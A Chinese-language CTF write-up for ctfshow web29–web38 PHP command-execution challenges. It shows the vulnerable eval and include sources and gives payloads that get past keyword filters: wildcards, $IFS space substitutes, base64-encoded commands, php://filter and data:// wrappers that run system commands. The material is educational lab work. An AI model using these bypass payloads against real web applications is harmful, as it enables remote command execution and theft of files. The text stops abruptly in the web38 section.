目录
-
- web29-过滤关键字
- web30-增加命令执行函数
- web31-过滤cat,空格
- web32~36-文件包含绕过
- web37-data协议
- web38-data协议
- web39-data协议
- web40-无参数读文件
- web41-异或绕过
- web42-
- web43-
- web44->/dev/null过滤; cat flag
- web45->/dev/null多过滤空格
- web46-多过滤数字,$和*
- web47-多过滤读取函数
- web48-多过滤函数
- web49-多过滤反引号
- web50-多过滤% x09 x26
- web51-多过滤tac
- web52-多过滤重定向符但没过滤 $
- web53
- web54-/bin/?at 绕过
- web55-过滤所有小写字母
- web56-临时文件*
- web57-构造数字*
- web58~65-show_source读取
- web66-highlight_file读取
- web67-var_dump打印
- web68-include读取
- web69-var_export打印
- web70 var_export打印+文件包含
- web71-exit(0); 绕过后边代码*
web29-过滤关键字
命令执行,需要严格的过滤
进入题目链接 这是源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
preg_match 函数:用于执行一个正则表达式匹配
题目限制了不能出现flag
两种解法:
- 1.构造
?c=system(ls);
页面回显:
绕过 flag ,通配符绕过
-
linux 中有一些通配符
*
代表任意字符 0个或多个
?
代表任意字符 1 个
[abcd]
匹配abcd中一个字符
[a-z]
匹配范围 a-z -
还可以这样绕过:
fla\g.php
fla''g.php
构造payload :
?c=system('cat *');
?c=system('cat fl?g.php');
?c=system('cat f[a-z]ag.php');
执行 payload 后源代码中有显示。
-
2.另一种解法:(文件包含)
eval:
把字符串作为PHP代码执行
传入:
?c=echo "hello";?><?php system(ls);
看到有flag.php利用文件包含
构造:
?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php
得到一串base64编码
进行base64解码 即可
web30-增加命令执行函数
命令执行,需要严格的过滤
过滤增加了:flag
,system
,php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
其他函数替代
system() # 相当于cmd
passthru() # passthru — 执行外部程序并且显示原始输出
exec() # exec — 执行一个外部程序
shell_exec() # shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
需要注意一下
只有system()
函数是有回显的,其他的函数可以通过echo
等显示
playload:
?c=echo `nl fl''ag.p''hp`;
或者 文件包含依然是可以的
?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web31-过滤cat,空格
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- 过滤空格
%09(url传递)(cat%09flag.php)
${
IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{
cat,flag}
- cat被过滤
1.代替
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file
paste 指令会把每个文件以列对列的方式,一列列地加以合并。
2.使用转义符
ca\t /fl\ag
cat fl''ag
3.内联执行绕过
拼接flag
1;a=fl;b=ag.php;cat$IFS$a$b
4.变量绕过
a=c;b=a;c=t;
$a$b$c 1.txt
5.编码进制绕过
echo 'cat' | base64
Y2F0wqAK
`echo 'Y2F0wqAK' | base64 -d` 1.txt
hello world
开始进入正题
这道题
过滤了
flag
system
php
cat
sort
shell
\.
空格
\'
playload:
?c=echo(`tac%09f*`);
文件包含依然是可以的
?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php
base64解码即可
web32~36-文件包含绕过
32:多过滤了 反引号,括号,echo
33:多过滤了一个双引号
34:多过滤多了一个:
35:多过滤了 <
、=
36:多过滤了 数字
playload:
/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
打着很爽 蛤蛤蛤
对的就是 这样 请继续
web37-data协议
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过滤了flag
又是 include文件包含了
所以之前的playload 得改一下
data:// -----可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
具体看这里
playload:
1./?c=data://text/plain;<?php system(ls);
2./?c=data://text/plain,<?php system('cat f*');
web38-data协议
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
多过滤了 php
,file
多了php
过滤
<?php system('cat f*.php');
将这个添加base64编码
即可
p